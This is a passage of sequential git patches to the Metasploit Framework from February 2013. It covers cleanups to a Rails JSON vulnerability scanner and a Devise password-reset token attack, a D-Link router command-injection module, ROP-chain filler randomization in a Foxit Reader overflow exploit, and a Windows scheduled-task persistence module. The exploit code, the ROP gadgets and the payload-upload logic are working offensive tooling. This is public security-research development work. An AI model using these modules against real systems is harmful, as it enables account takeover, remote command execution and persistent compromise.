HTTP_METHOD") return end @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary }) else # Otherwise we're not likely vulnerable. - vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set") + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or TARGETURI must be set") end end From 167f5970c15009ce637d39cee03c737c042a9c7c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 13 Feb 2013 00:07:58 +0100 Subject: [PATCH 218/448] minor cleanup for rails_json_yaml_scanner --- .../scanner/http/rails_json_yaml_scanner.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb index 66ebde956d..514559eb1f 100644 --- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -19,14 +19,15 @@ class Metasploit3 < Msf::Auxiliary This module attempts to identify Ruby on Rails instances vulnerable to an arbitrary object instantiation flaw in the JSON request processor. }, - 'Author' => [ + 'Author' => + [ 'jjarmoc', # scanner module 'hdm' # CVE-2013-0156 scanner, basis of this technique. - ], + ], 'License' => MSF_LICENSE, 'References' => [ - ['CVE', '2013-0333'], + ['CVE', '2013-0333'] ] )) @@ -38,11 +39,11 @@ class Metasploit3 < Msf::Auxiliary def send_probe(pdata) res = send_request_cgi({ - 'uri' => datastore['TARGETURI'], + 'uri' => normalize_uri(datastore['TARGETURI']), 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/json', 'data' => pdata - }, 25) + }) end def run_host(ip) @@ -58,8 +59,7 @@ class Metasploit3 < Msf::Auxiliary end if res1.code.to_s =~ /^[5]/ - print_error("#{rhost}:#{rport} The server replied with #{res1.code} for our initial JSON request") - print_error("\t\tDouble check TARGETURI and HTTP_METHOD") + vprint_error("#{rhost}:#{rport} The server replied with #{res1.code} for our initial JSON request, double check TARGETURI and HTTP_METHOD") return end @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary }) else # Otherwise we're not likely vulnerable. - vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or TARGETURI must be set") + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or TARGETURI & HTTP_METHOD must be set") end end From 799beb5adcc958dde98974a50519b7085cb65fa5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 13 Feb 2013 01:00:25 +0100 Subject: [PATCH 219/448] minor cleanup --- .../admin/http/rails_devise_pass_reset.rb | 56 +++++++++---------- 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 4f577afadd..af7a02dd02 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -26,75 +26,72 @@ class Metasploit3 < Msf::Auxiliary but these may require adjustment for implementations which customize them. Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database - except PostgreSQL or SQLite3. - - Tested w/ v2.2.2, 2.1.2, and 2.0.4. + except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4. }, 'Author' => [ 'joernchen', #original discovery and disclosure - 'jjarmoc', #metasploit module + 'jjarmoc' #metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0233'], + [ 'OSVDB', '89642' ], + [ 'BID', '57577' ], [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], - [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], + [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'] ], 'DisclosureDate' => 'Jan 28 2013' )) register_options( [ - OptString.new('TARGETURI', [ true, "The request URI", '/users/password']), - OptString.new('TARGETEMAIL', [true, "The email address of target account"]), + OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']), + OptString.new('TARGETEMAIL', [true, 'The email address of target account']), OptString.new('PASSWORD', [true, 'The password to set']), OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), - OptInt.new('MAXINT', [true, "Max integer to try (tokens begining with a higher int will fail)", 10]) + OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10]) ], self.class) end def generate_token(account) # CSRF token from GET "/users/password/new" isn't actually validated it seems. - print_status("Generating reset token for #{account}") - postdata="user[email]=#{account}" res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI']), - 'method' => 'POST', - 'data' => postdata, - }) + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'POST', + 'data' => postdata, + }) - unless (res) + unless res print_error("No response from server") return false end if res.code == 200 error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] - print_error("Server returned an error:") - print_error(error_text) + print_error("Server returned error") + vprint_error(error_text) return false end + return true end def clear_tokens() - print_status("Clearing existing tokens") count = 0 status = true until (status == false) do status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5)) count += 1 if status end - print_status("Cleared #{count} tokens") + vprint_status("Cleared #{count} tokens") end def reset_one(password, report=false) - print_status("Resetting password to \"#{password}\"") if report (0..datastore['MAXINT']).each{ |int_to_try| encode_pass = REXML::Text.new(password).to_s @@ -112,7 +109,8 @@ class Metasploit3 < Msf::Auxiliary 'ctype' => 'application/xml', 'data' => xml, }) - unless (res) + + unless res print_error("No response from server") return false end @@ -123,8 +121,8 @@ class Metasploit3 < Msf::Auxiliary # May need to tweak this for some apps... error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] if (report) && (error_text !~ /token/) - print_error("Server returned an error:") - print_error(error_text) + print_error("Server returned error") + vprint_error(error_text) return false end when 302 @@ -136,27 +134,29 @@ class Metasploit3 < Msf::Auxiliary end } - print_error("No active reset tokens below #{datastore['MAXINT']} remain. - Try a higher MAXINT.") if report + print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report return false end def run # Clear outstanding reset tokens, helps ensure we hit the intended account. + print_status("Clearing existing tokens...") clear_tokens() if datastore['FLUSHTOKENS'] # Generate a token for our account + print_status("Generating reset token for #{datastore['TARGETEMAIL']}...") status = generate_token(datastore['TARGETEMAIL']) if status == false - print_error("Failed") + print_error("Failed to generate reset token") return end - print_good("Success") + print_good("Reset token generated successfully") # Reset a password. We're racing users creating other reset tokens. # If we didn't flush, we'll reset the account with the lowest ID that has a token. + print_status("Resetting password to \"#{datastore['PASSWORD']}\"...") status = reset_one(datastore['PASSWORD'], true) - status ? print_good("Success") : print_error("Failed") + status ? print_good("Password reset worked successfully") : print_error("Failed to reset password") end end \ No newline at end of file From 0ae473b01016f0f7ff76f370dc24f2ff1309ed60 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 13 Feb 2013 09:52:17 +0100 Subject: [PATCH 220/448] info updated with rails information --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index af7a02dd02..c242cefe8b 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -26,7 +26,10 @@ class Metasploit3 < Msf::Auxiliary but these may require adjustment for implementations which customize them. Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database - except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4. + except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails + 3.2.11. Patch applied to Rails 3.2.12 should prevent exploitation of this + vulnerability, by quoting numeric values when comparing them with non numeric + values. }, 'Author' => [ @@ -40,7 +43,8 @@ class Metasploit3 < Msf::Auxiliary [ 'OSVDB', '89642' ], [ 'BID', '57577' ], [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], - [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'] + [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], + [ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ] ], 'DisclosureDate' => 'Jan 28 2013' )) From d1784babea24a15dd6d875e0eb45c4b4020065a1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 13 Feb 2013 20:24:49 +0100 Subject: [PATCH 221/448] little cleanup plus msftidy compliant --- .../http/dlink_dir_300_600_exec_noauth.rb | 35 ++++++++++--------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index 2c0da88e4f..87d1f45192 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -15,20 +15,22 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', 'Description' => %q{ - Some D-Link Routers like the DIR-600 rev B and the DIR-300 rev B are - vulnerable to OS Command injection. - You do not need credentials to the webinterface because the command.php - is accesseble without authentication. You could read the plaintext password - file. Tested versions: DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. - Hint: To get a remote shell you could start the telnetd without any authentication. + This module exploits an OS Command Injection vulnerability in some D-Link + Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in + command.php, which is accessible without authentication. This module has been + tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. + In order to get a remote shell the telnetd could be started without any + authentication. }, 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLTechProduct&cid=1197381489628&p=1197318958220&packedargs=QuickLinksParentID%3D1197318958220%26locale%3D1195806663795&pagename=DLinkEurope-DE%2FDLWrapper' ], + [ 'OSVDB', '89861' ], + [ 'EDB', '24453' ], + [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 04 2013')) @@ -52,23 +54,22 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => uri, 'method' => 'POST', - 'data' => data_cmd, + 'data' => data_cmd }) - return :abort if res.nil? - return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) - return :abort if (res.code == 404) - + return if res.nil? + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + return if res.code == 404 rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end - - if res.body.include? "end" - print_status("#{rhost}:#{rport} - Exploited successfully\n") + + if res.body.include?("end") + print_good("#{rhost}:#{rport} - Exploited successfully\n") print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") print_line("#{rhost}:#{rport} - Output: #{res.body}") else - print_status("#{rhost}:#{rport} - Exploit failed.") + print_error("#{rhost}:#{rport} - Exploit failed.") end end end From ff13a9fb1fd122b9f698ad89f59b1b917a96cb24 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 13 Feb 2013 14:03:10 -0600 Subject: [PATCH 222/448] Randomize some gadgets --- .../browser/foxit_reader_plugin_url_bof.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 7e5d6353a3..f7ece6273a 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -92,6 +92,10 @@ class Metasploit3 < Msf::Exploit::Remote return nil end + def junk + return rand_text_alpha(4).unpack("L")[0].to_i + end + # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) def win7_rop_chain @@ -103,18 +107,18 @@ class Metasploit3 < Msf::Exploit::Remote 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] 0x00001000, # 0x00001000-> edx 0x1000d9ec, # XOR EDX, EDX # RETN 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (compensate) + jun, # Filler (compensate) 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) + junk, # Filler (RETN offset compensation) 0x00000040, # 0x00000040-> ecx 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] 0x00000001, # 0x00000001-> ebx From 4074a12fd7af4e94135097ded57db9cf67f37fea Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 13 Feb 2013 14:12:52 -0600 Subject: [PATCH 223/448] Randomize some gadgets --- .../browser/foxit_reader_plugin_url_bof.rb | 56 +++++++++++-------- 1 file changed, 32 insertions(+), 24 deletions(-) diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 7e5d6353a3..79df79fbcf 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -92,37 +92,45 @@ class Metasploit3 < Msf::Exploit::Remote return nil end + def junk + return rand_text_alpha(4).unpack("L")[0].to_i + end + + def nops + make_nops(4).unpack("N*") + end + # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) def win7_rop_chain # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ - 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] - 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] - 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] - 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] - 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (RETN offset compensation) - 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] - 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] - 0x00001000, # 0x00001000-> edx + 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] + 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] + 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] + 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] + 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (RETN offset compensation) + 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] + 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00001000, # 0x00001000-> edx 0x1000d9ec, # XOR EDX, EDX # RETN - 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (compensate) - 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) - 0x41414141, # Filler (RETN offset compensation) - 0x00000040, # 0x00000040-> ecx - 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] - 0x00000001, # 0x00000001-> ebx - 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] - 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] - 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] - 0x90909090, # nop - 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] + 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] + junk, + 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] + junk, + junk, + junk, + 0x41414141, # Filler (RETN offset compensation) + 0x00000040, # 0x00000040-> ecx + 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00000001, # 0x00000001-> ebx + 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] + 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] + 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] + nops, + 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] ].flatten.pack("V*") return rop_gadgets From aea76a56de82d51e0f3a3e9dd1a19c588260a963 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Feb 2013 14:39:19 -0600 Subject: [PATCH 224/448] Add some docs to FtpServer --- lib/msf/core/exploit/ftpserver.rb | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb index 48517b3862..dadbb31dcd 100644 --- a/lib/msf/core/exploit/ftpserver.rb +++ b/lib/msf/core/exploit/ftpserver.rb @@ -26,11 +26,13 @@ module Exploit::Remote::FtpServer ], Msf::Exploit::Remote::FtpServer) end + # (see Msf::Exploit#setup) def setup super @state = {} end + # (see TcpServer#on_client_connect) def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", @@ -46,6 +48,25 @@ module Exploit::Remote::FtpServer c.put "220 FTP Server Ready\r\n" end + # Dispatches client requests to command handlers. + # + # Handlers should be named +on_client_command_*+, ending with a + # downcased FTP verb, e.g. +on_client_command_user+. If no handler + # exists for the given command, returns a generic default response. + # + # @example Handle SYST requests + # class Metasploit4 < Msf::Exploit + # include Msf::Exploit::Remote::FtpServer + # ... + # def on_client_command_syst(cmd_conn, arg) + # print_status("Responding to SYST request") + # buf = build_exploit_buffer(cmd_conn) + # cmd_conn.put("215 Unix Type: #{buf}\r\n") + # end + # end + # + # @param (see TcpServer#on_client_data) + # @return (see TcpServer#on_client_data) def on_client_data(c) data = c.get_once return if not data @@ -184,6 +205,15 @@ module Exploit::Remote::FtpServer end + # Create a socket for the protocol data, either PASV or PORT, + # depending on the client. + # + # @see http://tools.ietf.org/html/rfc3659 RFC 3659 + # @see http://tools.ietf.org/html/rfc959 RFC 959 + # @param c [Socket] Control connection socket + # + # @return [Socket] A connected socket for the data connection + # @return [nil] on failure def establish_data_connection(c) begin Timeout.timeout(20) do From bbf8fe0213ed884e0745b748029182313d9149cb Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Wed, 13 Feb 2013 18:10:05 -0500 Subject: [PATCH 225/448] Use Post::File methods and fail_with --- .../exploits/windows/local/s4u_persistence.rb | 72 +++++++------------ 1 file changed, 26 insertions(+), 46 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 0d5189064a..9f00f8d528 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Local 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], + 'DisclosureDate' => [ 'Jan 2 2013' ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -66,15 +67,13 @@ class Metasploit3 < Msf::Exploit::Local def exploit if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) - print_error("This module only works on Vista/2008 and above") - return + fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above") end if datastore['TRIGGER'] == "event" if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? - print_error("Advanced options EVENT_LOG and EVENT_ID required for event") print_status("The properties of any event in the event viewer will contain this information") - return + fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") end end @@ -88,8 +87,7 @@ class Metasploit3 < Msf::Exploit::Local xml_path,rexe_path = generate_path(rexename) # Upload REXE to victim fs - upload_response = upload_rexe(rexe_path, payload) - return if not upload_response + upload_rexe(rexe_path, payload) # Create basic XML outline xml = create_xml(rexe_path) @@ -98,16 +96,13 @@ class Metasploit3 < Msf::Exploit::Local xml = add_xml_triggers(xml) # Write XML to victim fs, if fail clean up - if not write_xml(xml, xml_path) - delete_file(rexe_path) - return - end + write_xml(xml, xml_path, rexe_path) # Name task with Opt or give random name schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) # Create task with modified XML - task = create_task(xml_path, schname, rexe_path) + create_task(xml_path, schname, rexe_path) end ############################################################## @@ -115,16 +110,11 @@ class Metasploit3 < Msf::Exploit::Local # Returns name def generate_rexename - if datastore['REXENAME'].nil? - rexename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - return rexename - elsif datastore['REXENAME'] =~ /\.exe$/ - rexename = datastore['REXENAME'] - return rexename - else + rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + if not rexename =~ /\.exe$/ print_warning("#{datastore['REXENAME']} isn't an exe") - return rexename end + return rexename end ############################################################## @@ -133,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Local def generate_path(rexename) # generate a path to write payload and xml - path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%") + path = datastore['PATH'] || expand_path("%TEMP%") xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" rexe_path = "#{path}\\#{rexename}" return xml_path,rexe_path @@ -146,19 +136,15 @@ class Metasploit3 < Msf::Exploit::Local def upload_rexe(path, payload) vprint_status("Uploading #{path}") if file? path - print_error("File #{path} already exists...exiting") - return false + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") end begin - fd = client.fs.file.new(path, "wb") - fd.write(payload) - fd.close - rescue - print_error("Could not upload to #{path}") - return false + write_file(path, payload) + rescue => e + puts e + fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") end print_status("Successfully uploaded remote executable to #{path}") - return true end ############################################################## @@ -317,21 +303,18 @@ class Metasploit3 < Msf::Exploit::Local # Takes the XML and a path and writes file to filesystem # Returns boolean for success - def write_xml(xml, path) + def write_xml(xml, path, rexe_path) + if file? path + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting") + end begin - if file? path - print_error("File #{path} already exists...exiting") - return false - end - fd = session.fs.file.new(path, "wb") - fd.write(xml) - fd.close + write_file(path, xml) rescue - print_error("Issues writing XML to #{path}") - return false + delete_file(rexe_path) + fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}") end print_status("Successfully wrote XML file to #{path}") - return true end ############################################################## @@ -340,12 +323,10 @@ class Metasploit3 < Msf::Exploit::Local def delete_file(path) begin - session.fs.file.rm(path) + file_rm(path) rescue print_warning("Could not delete file #{path}, delete manually") - return false end - return true end ############################################################## @@ -381,14 +362,13 @@ class Metasploit3 < Msf::Exploit::Local :delete_commands => del_task } ) - return true elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ print_error("The scheduled task name is already in use") # Clean up delete_file(rexe_path) delete_file(path) else - print_error("Issues creating task using XML file schtasks") + error = "Issues creating task using XML file schtasks" vprint_error("Error: #{create_task_response}") if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" print_warning("Security log can restricted by UAC, try a different trigger") @@ -396,7 +376,7 @@ class Metasploit3 < Msf::Exploit::Local # Clean up delete_file(rexe_path) delete_file(path) - return false + fail_with(Exploit::Failure::Unknown, error) end end end \ No newline at end of file From e78cbdd14d40c544c20170888af5bb0ddb039f8d Mon Sep 17 00:00:00 2001 From: smilingraccoon Date: Wed, 13 Feb 2013 18:17:38 -0500 Subject: [PATCH 226/448] missed one line --- modules/exploits/windows/local/s4u_persistence.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 9f00f8d528..5556acfbdb 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -363,10 +363,11 @@ class Metasploit3 < Msf::Exploit::Local } ) elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ - print_error("The scheduled task name is already in use") # Clean up delete_file(rexe_path) delete_file(path) + error = "The scheduled task name is already in use" + fail_with(Exploit::Failure::Unknown, error) else error = "Issues creating task using XML file schtasks" vprint_error("Error: #{create_task_response}") From c2f8e4adbdcb8add16d7fff2abaddc72bc514e3b Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Wed, 13 Feb 2013 22:30:54 -0600 Subject: [PATCH 227/448] Minor - Note Rails 3.1.11 patch in Description. --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index c242cefe8b..e301b59c2b 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -27,9 +27,9 @@ class Metasploit3 < Msf::Auxiliary Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails - 3.2.11. Patch applied to Rails 3.2.12 should prevent exploitation of this - vulnerability, by quoting numeric values when comparing them with non numeric - values. + 3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation + of this vulnerability, by quoting numeric values when comparing them with + non numeric values. }, 'Author' => [ @@ -44,7 +44,8 @@ class Metasploit3 < Msf::Auxiliary [ 'BID', '57577' ], [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], - [ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ] + [ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ], + [ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8'] ], 'DisclosureDate' => 'Jan 28 2013' )) From 7b2c1afadb99a73f8f9ab3e55b96550e892b7494 Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Thu, 14 Feb 2013 09:16:47 -0500 Subject: [PATCH 228/448] I'm an idiot, fix logon xpath --- modules/exploits/windows/local/s4u_persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 5556acfbdb..1d5d2cc0bb 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -193,7 +193,7 @@ class Metasploit3 < Msf::Exploit::Local when 'logon' # Trigger based on winlogon event, checks windows license key after logon print_status("This trigger triggers on event 4101 which validates the Windows license") - line = "(EventID=4101) and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" + line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" xml = create_trigger_event_tags("Application", line, xml) when 'lock' @@ -380,4 +380,4 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::Unknown, error) end end -end \ No newline at end of file +end From 947aa24d447b92a73f8f734c9a941892abc7aba5 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Thu, 14 Feb 2013 11:18:19 -0600 Subject: [PATCH 229/448] MS13-009 / CVE-2013-0025 ie_slayout_uaf.rb by Scott Bell --- .../windows/browser/ie_slayoutrun_uaf.rb | 238 ++++++++++++++++++ 1 file changed, 238 insertions(+) create mode 100644 modules/exploits/windows/browser/ie_slayoutrun_uaf.rb diff --git a/modules/exploits/windows/browser/ie_slayoutrun_uaf.rb 